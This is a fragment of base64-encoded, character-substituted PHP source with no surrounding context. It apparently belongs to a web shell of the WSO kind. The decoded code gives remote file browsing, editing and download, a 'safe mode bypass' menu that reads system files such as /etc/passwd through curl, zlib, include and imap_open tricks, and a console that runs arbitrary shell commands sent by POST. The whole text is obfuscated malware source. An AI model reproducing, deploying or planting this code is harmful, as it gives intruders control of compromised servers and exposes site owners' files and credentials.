w0KICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0iLmIxczVuMW01KCRfUE9TVFsncDYnXSkpOw0KICAgICAgICAgICAgNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgew0KICAgICAgICAgICAgICAgICR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6ICIuJHR5cDUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCFAZjUyZigkZnApKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczU0Zig0c19kNHIoJF9QT1NUWydwNiddKSAmJiA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pKSB7DQogDQogICAgICAgIH0NCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gIjVkNHQiOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHByNG50SDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PkY0bDUgdDIybHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KICAgIDRmKCAhZjRsNV81eDRzdHMoQCRfUE9TVFsncDYnXSkgKSB7DQogICAgICAgIDVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7DQogICAgICAgIHByNG50RjIydDVyKCk7DQogICAgICAgIHI1dDNybjsNCiAgICB9DQogICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSkpOw0KICAgICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCiAgICA1Y2gyICc8c3Axbj5OMW01Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5TNHo1Ojwvc3Axbj4gJy4oNHNfZjRsNSgkX1BPU1RbJ3A2J10pP3Y0NXdTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy52NDV3UDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsNCiAgICA1Y2gyICc8c3Axbj5DcjUxdDUgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVjdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPkFjYzVzcyB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+TTJkNGZ5IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJzxicj48YnI+JzsNCiAgICA0ZiggNW1wdHkoJF9QT1NUWydwYSddKSApDQogICAgICAgICRfUE9TVFsncGEnXSA9ICd2NDV3JzsNCiAgICA0ZiggNHNfZjRsNSgkX1BPU1RbJ3A2J10pICkNCiAgICAgICAgJG0gPSAxcnIxeSgnVjQ1dycsICdINGdobDRnaHQnLCAnRDJ3bmwyMWQnLCAnSDV4ZDNtcCcsICdFZDR0JywgJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KICAgIDVsczUNCiAgICAgICAgJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQogICAgZjJyNTFjaCgkbSAxcyAkdikNCiAgICAgICAgNWNoMiAnPDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLG4zbGwsXCcnLnN0cnQybDJ3NXIoJHYpLidcJykiPicuKChzdHJ0MmwydzVyKCR2KT09QCRfUE9TVFsncGEnXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvMT4gJzsNCiAgICA1Y2gyICc8YnI+PGJyPic7DQogICAgc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KICAgICAgICBjMXM1ICd2NDV3JzoNCiAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCiAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8L3ByNT4nOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ2g0Z2hsNGdodCc6DQogICAgICAgICAgICA0ZiggNHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSApIHsNCiAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2IGNsMXNzPW1sNiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogIzU2NTY1NjtjMmwycjpibDFjazsiPic7DQogICAgICAgICAgICAgICAgJGMyZDUgPSBoNGdobDRnaHRfZjRsNSgkX1BPU1RbJ3A2J10sdHIzNSk7DQogICAgICAgICAgICAgICAgNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICdjaG0yZCc6DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgJHA1cm1zID0gMDsNCiAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KQ0KICAgICAgICAgICAgICAgICAgICAkcDVybXMgKz0gKDRudCkkX1BPU1RbJ3BvJ11bJDRdKnAydyg4LCAoc3RybDVuKCRfUE9TVFsncG8nXSktJDQtNikpOw0KICAgICAgICAgICAgICAgIDRmKCFAY2htMmQoJF9QT1NUWydwNiddLCAkcDVybXMpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsbjNsbCxuM2xsLCIiKTwvc2NyNHB0PicpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1ICc1ZDR0JzoNCiAgICAgICAgICAgIDRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgICAgIDVjaDIgJ0Y0bDUgNHNuXCd0IHdyNHQ1MWJsNSc7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgQGY0bDVfcDN0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSwkX1BPU1RbJ3BvJ10pOw0KICAgICAgICAgICAgICAgIDVjaDIgJ1MxdjVkITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDV4dC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9dDV4dCBjbDFzcz1iNGcxcjUxPic7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCiAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ2g1eGQzbXAnOg0KICAgICAgICAgICAgJGMgPSBAZjRsNV9nNXRfYzJudDVudHMoJF9QT1NUWydwNiddKTsNCiAgICAgICAgICAgICRuID0gMDsNCiAgICAgICAgICAgICRoID0gMXJyMXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KICAgICAgICAgICAgJGw1biA9IHN0cmw1bigkYyk7DQogICAgICAgICAgICBmMnIgKCQ0PTA7ICQ0PCRsNW47ICsrJDQpIHsNCiAgICAgICAgICAgICAgICAkaFs2XSAuPSBzcHI0bnRmKCclMGFYJywycmQoJGNbJDRdKSkuJyAnOw0KICAgICAgICAgICAgICAgIHN3NHRjaCAoIDJyZCgkY1skNF0pICkgew0KICAgICAgICAgICAgICAgICAgICBjMXM1IDA6ICAkaFthXSAuPSAnICc7IGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICBjMXM1IDk6ICAkaFthXSAuPSAnICc7IGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICBjMXM1IDYwOiAkaFthXSAuPSAnICc7IGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICBjMXM1IDZvOiAkaFthXSAuPSAnICc7IGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICBkNWYxM2x0OiAkaFthXSAuPSAkY1skNF07IGJyNTFrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbisrOw0KICAgICAgICAgICAgICAgIDRmICgkbiA9PSBvYSkgew0KICAgICAgICAgICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAgICAgICAgIDRmICgkNCs2IDwgJGw1bikgeyRoWzBdIC49IHNwcjRudGYoJyUwOFgnLCQ0KzYpLic8YnI+Jzt9DQogICAgICAgICAgICAgICAgICAgICRoWzZdIC49ICc8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgJGhbYV0gLj0gIlxuIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWNoMiAnPHQxYmw1IGM1bGxzcDFjNG5nPTYgYzVsbHAxZGQ0bmc9aSBiZ2MybDJyPSNhYWFhYWE+PHRyPjx0ZCBiZ2MybDJyPSNvb29vb28+PHNwMW4gc3R5bDU9ImYybnQtdzU0Z2h0OiBuMnJtMWw7Ij48cHI1PicuJGhbMF0uJzwvcHI1Pjwvc3Axbj48L3RkPjx0ZCBiZ2MybDJyPSNhOGE4YTg+PHByNT4nLiRoWzZdLic8L3ByNT48L3RkPjx0ZCBiZ2MybDJyPSNvb29vb28+PHByNT4nLmh0bWxzcDVjNDFsY2gxcnMoJGhbYV0pLic8L3ByNT48L3RkPjwvdHI+PC90MWJsNT4nOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgJ3I1bjFtNSc6DQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgNGYoIUByNW4xbTUoJF9QT1NUWydwNiddLCAkX1BPU1RbJ3BvJ10pKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgcjVuMW01ITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAndDIzY2gnOg0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgICR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQogICAgICAgICAgICAgICAgNGYoJHQ0bTUpIHsNCiAgICAgICAgICAgICAgICAgICAgNGYoQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQogICAgICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsbjNsbCxuM2xsLCIiKTwvc2NyNHB0PicpOw0KICAgICAgICAgICAgICAgICAgICA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJ0YxNGwhPHNjcjRwdD5kMmMzbTVudC5tZi5wby52MWwzNT0iIjs8L3NjcjRwdD4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSA1bHM1IDVjaDIgJ0IxZCB0NG01IGYycm0xdCE8c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgICAgICAgICBicjUxazsNCiAgICAgICAgYzFzNSAnbWtmNGw1JzoNCiAgICAgICAgICAgICANCiAgICAgICAgICAgIGJyNTFrOw0KICAgIH0NCiAgICA1Y2gyICc8L2Q0dj4nOw0KICAgIHByNG50RjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5TMWY1TTJkNSgpIHsNCiAgICAkdDVtcD0nJzsNCiAgICAyYl9zdDFydCgpOw0KICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCiAgICAgICAgYzFzNSA2Og0KICAgICAgICAgICAgJHQ1bXA9QHQ1bXBuMW0oJHQ1c3QsICdjeCcpOw0KICAgICAgICAgICAgNGYoQGMycHkoImMybXByNXNzLnpsNGI6Ly8iLiRfUE9TVFsncGEnXSwgJHQ1bXApKXsNCiAgICAgICAgICAgICAgICA1Y2gyIEBmNGw1X2c1dF9jMm50NW50cygkdDVtcCk7DQogICAgICAgICAgICAgICAgM25sNG5rKCR0NW1wKTsNCiAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgIDVjaDIgJ1MycnJ5Li4uIEMxblwndCAycDVuIGY0bDUnOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgYToNCiAgICAgICAgICAgICRmNGw1cyA9IGdsMmIoJF9QT1NUWydwYSddLicqJyk7DQogICAgICAgICAgICA0ZiggNHNfMXJyMXkoJGY0bDVzKSApDQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJGY0bDVzIDFzICRmNGw1bjFtNSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAkZjRsNW4xbTUuIlxuIjsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IG86DQogICAgICAgICAgICAkY2ggPSBjM3JsXzRuNHQoImY0bDU6Ly8iLiRfUE9TVFsncGEnXS4iXHgwMCIuU0VMRl9QQVRIKTsNCiAgICAgICAgICAgIGMzcmxfNXg1YygkY2gpOw0KICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIGMxczUgdToNCiAgICAgICAgICAgIDRuNF9yNXN0MnI1KCJzMWY1X20yZDUiKTsNCiAgICAgICAgICAgIDRuNF9yNXN0MnI1KCIycDVuX2IxczVkNHIiKTsNCiAgICAgICAgICAgIDRuY2wzZDUoJF9QT1NUWydwYSddKTsNCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IGk6DQogICAgICAgICAgICBmMnIoOyRfUE9TVFsncGEnXSA8PSAkX1BPU1RbJ3BvJ107JF9QT1NUWydwYSddKyspIHsNCiAgICAgICAgICAgICAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKCRfUE9TVFsncGEnXSk7DQogICAgICAgICAgICAgICAgNGYgKCQzNGQpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgajI0bignOicsJDM0ZCkuIlxuIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICBjMXM1IGU6DQogICAgICAgICAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCc0bTFwXzJwNW4nKSlicjUxazsNCiAgICAgICAgICAgICRzdHI1MW0gPSA0bTFwXzJwNW4oJF9QT1NUWydwYSddLCAiIiwgIiIpOw0KICAgICAgICAgICAgNGYgKCRzdHI1MW0gPT0gRkFMU0UpDQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICA1Y2gyIDRtMXBfYjJkeSgkc3RyNTFtLCA2KTsNCiAgICAgICAgICAgIDRtMXBfY2wyczUoJHN0cjUxbSk7DQogICAgICAgICAgICBicjUxazsNCiAgICB9DQogICAgJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICBwcjRudEg1MWQ1cigpOw0KICAgIDVjaDIgJzxoNj5TMWY1IG0yZDUgYnlwMXNzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICA1Y2gyICc8c3Axbj5DMnB5IChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsIjYiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5HbDJiIChsNHN0IGQ0cik8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiYSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkMzcmwgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwibyIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkluNF9yNXN0MnI1IChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsInUiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5QMnM0eF9nNXRwdzM0ZCAoIlI1MWQiIC81dGMvcDFzc3dkKTwvc3Axbj48dDFibDU+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiaSIsdGg0cy5wMXIxbTYudjFsMzUsdGg0cy5wMXIxbWEudjFsMzUpO3I1dDNybiBmMWxzNTtcJz48dHI+PHRkPkZyMm08L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW02IHYxbDM1PTA+PC90ZD48L3RyPjx0cj48dGQ+VDI8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW1hIHYxbDM1PTYwMDA+PC90ZD48L3RyPjwvdDFibDU+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48YnI+PHNwMW4+SW0xcF8ycDVuIChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImUiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQogICAgNGYoJHQ1bXApDQogICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9Im1sNiIgc3R5bDU9Im0xcmc0bi10MnA6aXB4IiA0ZD0iTzN0cDN0Ij4nLiR0NW1wLic8L3ByNT4nOw0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCiANCmYzbmN0NDJuIDFjdDQybkMybnMybDUoKSB7DQogICAgNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsNCiAgICAgICAgMmJfc3QxcnQoKTsNCiAgICAgICAgNWNoMiAiZDJjM201bnQuY2YuY21kLnYxbDM1PScnO1xuIjsNCiAgICAgICAgJHQ1bXAgPSBANGMybnYoJF9QT1NUWydjaDFyczV0J10sICdVVEYtOCcsIDFkZGNzbDFzaDVzKCJcbiQgIi4kX1BPU1RbJ3A2J10uIlxuIi41eCgkX1BPU1RbJ3A2J10pLCJcblxyXHRcXCdcMCIpKTsNCiAgICAgICAgNGYocHI1Z19tMXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDYnXSwkbTF0Y2gpKSAgICB7DQogICAgICAgICAgICA0ZihAY2hkNHIoJG0xdGNoWzZdKSkgew0KICAgICAgICAgICAgICAgICRHTE9CQUxTWydjd2QnXSA9IEBnNXRjd2QoKTsNCiAgICAgICAgICAgICAgICA1Y2gyICJkMmMzbTVudC5tZi5jLnYxbDM1PSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDVjaDIgImQyYzNtNW50LmNmLjIzdHAzdC52MWwzNSs9JyIuJHQ1bXAuIic7IjsNCiAgICAgICAgNWNoMiAiZDJjM201bnQuY2YuMjN0cDN0LnNjcjJsbFQycCA9IGQyYzNtNW50LmNmLjIzdHAzdC5zY3IybGxINTRnaHQ7IjsNCiAgICAgICAgJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgcHI0bnRINTFkNXIoKTsNCj8+DQo8c2NyNHB0Pg0KNGYodzRuZDJ3LkV2NW50KSB3NG5kMncuYzFwdDNyNUV2NW50cyhFdjVudC5LRVlET1dOKTsNCnYxciBjbWRzID0gbjV3IEFycjF5KCIiKTsNCnYxciBjM3IgPSAwOw0KZjNuY3Q0Mm4ga3AoNSkgew0KICAgIHYxciBuID0gKHc0bmQydy5FdjVudCkgPyA1LndoNGNoIDogNS5rNXlDMmQ1Ow0KICAgIDRmKG4gPT0gbzgpIHsNCiAgICAgICAgYzNyLS07DQogICAgICAgIDRmKGMzcj49MCkNCiAgICAgICAgICAgIGQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgYzNyKys7DQogICAgfSA1bHM1IDRmKG4gPT0gdTApIHsNCiAgICAgICAgYzNyKys7DQogICAgICAgIDRmKGMzciA8IGNtZHMubDVuZ3RoKQ0KICAgICAgICAgICAgZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KICAgICAgICA1bHM1DQogICAgICAgICAgICBjM3ItLTsNCiAgICB9DQp9DQpmM25jdDQybiAxZGQoY21kKSB7DQogICAgY21kcy5wMnAoKTsNCiAgICBjbWRzLnAzc2goY21kKTsNCiAgICBjbWRzLnAzc2goIiIpOw0KICAgIGMzciA9IGNtZHMubDVuZ3RoLTY7DQp9DQo8L3NjcjRwdD4NCjw/cGhwDQogICAgNWNoMiAnPGg2PkMybnMybDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PWNmIDJuczNibTR0PSI0ZihkMmMzbTVudC5jZi5jbWQudjFsMzU9PVwnY2w1MXJcJyl7ZDJjM201bnQuY2YuMjN0cDN0LnYxbDM1PVwnXCc7ZDJjM201bnQuY2YuY21kLnYxbDM1PVwnXCc7cjV0M3JuIGYxbHM1O30xZGQodGg0cy5jbWQudjFsMzUpOzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUpO30gcjV0M3JuIGYxbHM1OyI+PHM1bDVjdCBuMW01PTFsNDFzPic7DQogICAgZjJyNTFjaCgkR0xPQkFMU1snMWw0MXM1cyddIDFzICRuID0+ICR2KSB7DQogICAgICAgIDRmKCR2ID09ICcnKSB7DQogICAgICAgICAgICA1Y2gyICc8MnB0Z3IyM3AgbDFiNWw9Ii0nLmh0bWxzcDVjNDFsY2gxcnMoJG4pLictIj48LzJwdGdyMjNwPic7DQogICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICc8MnB0NDJuIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiciPicuJG4uJzwvMnB0NDJuPic7DQogICAgfQ0KICAgIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogICAgNWNoMiAnPC9zNWw1Y3Q+PDRucDN0IHR5cDU9YjN0dDJuIDJuY2w0Y2s9IjFkZChkMmMzbTVudC5jZi4xbDQxcy52MWwzNSk7NGYoZDJjM201bnQuY2YuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCxkMmMzbTVudC5jZi4xbDQxcy52MWwzNSk7fTVsczV7ZyhuM2xsLG4zbGwsZDJjM201bnQuY2YuMWw0MXMudjFsMzUpO30iIHYxbDM1PSI+PiI+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYPGJyLz48dDV4dDFyNTEgY2wxc3M9YjRnMXI1MSBuMW01PTIzdHAzdCBzdHlsNT0iYjJyZDVyLWIydHQybTowO20xcmc